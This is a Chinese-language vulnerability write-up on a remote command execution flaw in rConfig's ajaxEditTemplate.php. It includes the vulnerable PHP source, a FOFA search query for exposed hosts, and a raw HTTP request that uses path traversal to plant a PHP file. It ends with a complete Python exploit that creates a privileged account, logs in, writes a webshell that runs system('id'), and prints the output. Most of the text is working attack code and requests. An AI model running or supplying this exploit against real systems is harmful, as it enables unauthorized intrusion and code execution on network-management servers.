# rConfig ajaxEditTemplate.php 后台远程命令执行漏洞 ## 漏洞描述 rConfig ajaxEditTemplate.php 存在后台远程命令执行 ## 漏洞影响 ``` rConfig ``` ## FOFA ``` app="rConfig" ``` ## 漏洞复现 漏洞文件为 **rconfig/www/lib/ajaxHandlers/ajaxEditTemplate.php** ```php logged_in) { echo 'Don\'t bother trying to hack me!!!!!
This hack attempt has been logged'; $log->Warn("Security Issue: Some tried to access this file directly from IP: " . $_SERVER['REMOTE_ADDR'] . " & Username: " . $session->username . " (File: " . $_SERVER['PHP_SELF'] . ")"); // need to add authentication to this script header("Location: " . $config_basedir . "login.php"); } else { $ymlData = Spyc::YAMLLoad($_POST['code']); $fileName = $_POST['fileName']; $check_yml_extension = explode('.', $fileName); if(@!array_key_exists($check_yml_extension[1])){ if(@$check_yml_extension[1] != 'yml'){ $fileName = $fileName . '.yml'; } } $fullpath = $config_templates_basedir.$fileName; $username = $_SESSION['username']; require_once("../../../classes/db2.class.php"); require_once("../../../classes/ADLog.class.php"); $db2 = new db2(); $log = ADLog::getInstance(); if (!is_dir('templates')) { mkdir('templates'); chown('templates', 'apache'); } // if'' to create the filename based on the command if not created & chmod to 666 if (!file_exists($fullpath)) { exec("touch " . $fullpath); chmod($fullpath, 0666); } // if the file is alread in place chmod it to 666 before writing info chmod($fullpath, 0666); // dump array into file & chmod back to RO $filehandle = fopen($fullpath, 'w+'); file_put_contents($fullpath, $_POST['code']); fclose($filehandle); chmod($fullpath, 0444); $db2->query("UPDATE `templates` SET `fileName` = :fileName, `name` = :name, `desc` = :desc, `dateLastEdit` = NOW(), `addedby` = :username WHERE `id` = :id"); $db2->bind(':id', $_POST['id']); $db2->bind(':fileName', $fullpath); $db2->bind(':name', $ymlData['main']['name']); $db2->bind(':desc', $ymlData['main']['desc']); $db2->bind(':username', $username); $queryResult = $db2->execute(); /* Update successful */ if ($queryResult && file_exists($fullpath)) { $response = "success"; $log->Info("Success: Template: ".$fullpath." edited in templates folder"); } /* Update failed */ else { $response = "failed"; $log->Warn("Success: Could not edit Template ".$fullpath." in templates folder"); } echo json_encode($response); } // end session check ``` 关键代码如下 ```php // if'' to create the filename based on the command if not created & chmod to 666 if (!file_exists($fullpath)) { exec("touch " . $fullpath); chmod($fullpath, 0666); } // if the file is alread in place chmod it to 666 before writing info chmod($fullpath, 0666); // dump array into file & chmod back to RO $filehandle = fopen($fullpath, 'w+'); file_put_contents($fullpath, $_POST['code']); fclose($filehandle); chmod($fullpath, 0444; ``` $fileName --> $fullpath ---> 写入文件，其中 fileName参数 POST传入时没有过滤导致目录可上传任意位置 ```php $ymlData = Spyc::YAMLLoad($_POST['code']); $fileName = $_POST['fileName']; $check_yml_extension = explode('.', $fileName); if(@!array_key_exists($check_yml_extension[1])){ if(@$check_yml_extension[1] != 'yml'){ $fileName = $fileName . '.yml'; } } $fullpath = $config_templates_basedir+ .$fileName; ``` ![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202162243099.png) ```php $filehandle = fopen($fullpath, 'w+'); file_put_contents($fullpath, $_POST['code']); ``` POST code 传参写入文件 test.php.yml, 请求包如下 ```plain POST /lib/ajaxHandlers/ajaxEditTemplate.php HTTP/1.1 Host: Cookie: PHPSESSID=fv8j4c6r4gofug1vr9v3efdvj7 Content-Length: 81 Cache-Control: max-age=0 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90" Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Origin: https://176.62.195.243 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: https://176.62.195.243/lib/ajaxHandlers/ajaxEditTemplate.php fileName=../www/test.php&code=&id=1 ``` ![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202162243006.png) 这里写入文件 **test.php.yml**,并使用 **../** 跳出限制的目录，访问 test.php.yml 实际访问了 test.php，执行id命令 ![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202162243024.png) ## 漏洞POC ```python #!/usr/bin/python3 #-*- coding:utf-8 -*- # author : PeiQi # from : http://wiki.peiqi.tech import base64 import requests import random import re import json import sys from requests.packages.urllib3.exceptions import InsecureRequestWarning from requests_toolbelt.multipart.encoder import MultipartEncoder def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m') print('+ \033[34m公众号 : PeiQi文库 \033[0m') print('+ \033[34mVersion: rConfig ajaxEditTemplate.php 后台远程命令执行 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+------------------------------------------') def POC_1(target_url): vuln_url = target_url + "/lib/crud/userprocess.php" referer = target_url + "useradmin.php" ran_number = random.randint(1, 999) origin = target_url multipart_data = MultipartEncoder( fields={ 'username': 'testtest{}'.format(ran_number), 'password': 'testtest@{}'.format(ran_number), 'passconf': 'testtest@{}'.format(ran_number), 'email': 'testtest{}@test.com'.format(ran_number), 'ulevelid': '9', 'add': 'add', 'editid': '' } ) headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin": origin} cookies = {'PHPSESSID': 'test'} try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(vuln_url, data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False) if "error" not in response.text: username = 'testtest{}'.format(ran_number) password = 'testtest@{}'.format(ran_number) print("\033[36m[o] 成功创建账户 testtest{}/testtest@{} \033[0m".format(ran_number, ran_number)) POC_2(target_url, username, password) else: print("\033[31m[x] 创建失败:{} \033[0m") except Exception as e: print("\033[31m[x] 请求失败:{} \033[0m".format(e)) sys.exit(0) def POC_2(target_url, username, password): print("\033[36m[o] 正在登陆账户..... \033[0m") vuln_url = target_url + "/lib/crud/userprocess.php" headers = { 'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8", "Referer": target_url + "deviceConnTemplates.php", "Origin": target_url, "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en-US,en;q=0.5" } data = { 'user': username, 'pass': password, 'sublogin': '1' } try: response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10) print("\033[36m[o] 正在尝试执行 id....\033[0m") with requests.Session() as s: p = s.post(target_url + '/lib/crud/userprocess.php', data=data, verify=False) if "Stephen Stack" in p.text: print("\033[31m[x] 登录失败 \033[0m") else: data = "fileName=..%2Fwww%2Ftest.php&code=%3C%3Fphp+echo+system%28%27id%27%29%3B%3F%3E&id=1" rce = s.post(target_url + '/lib/ajaxHandlers/ajaxEditTemplate.php', verify=False, data=data, headers=headers) if "success" in rce.text: response = s.get(target_url + '/test.php.yml', verify=False) print("\033[36m[o] 成功执行 id, 响应为:\n{} \033[0m".format(response.text)) else: print("\033[31m[x] 请求失败 \033[0m") except Exception as e: print("\033[31m[x] 请求失败:{} \033[0m".format(e)) sys.exit(0) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url) ``` ![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202162243541.png)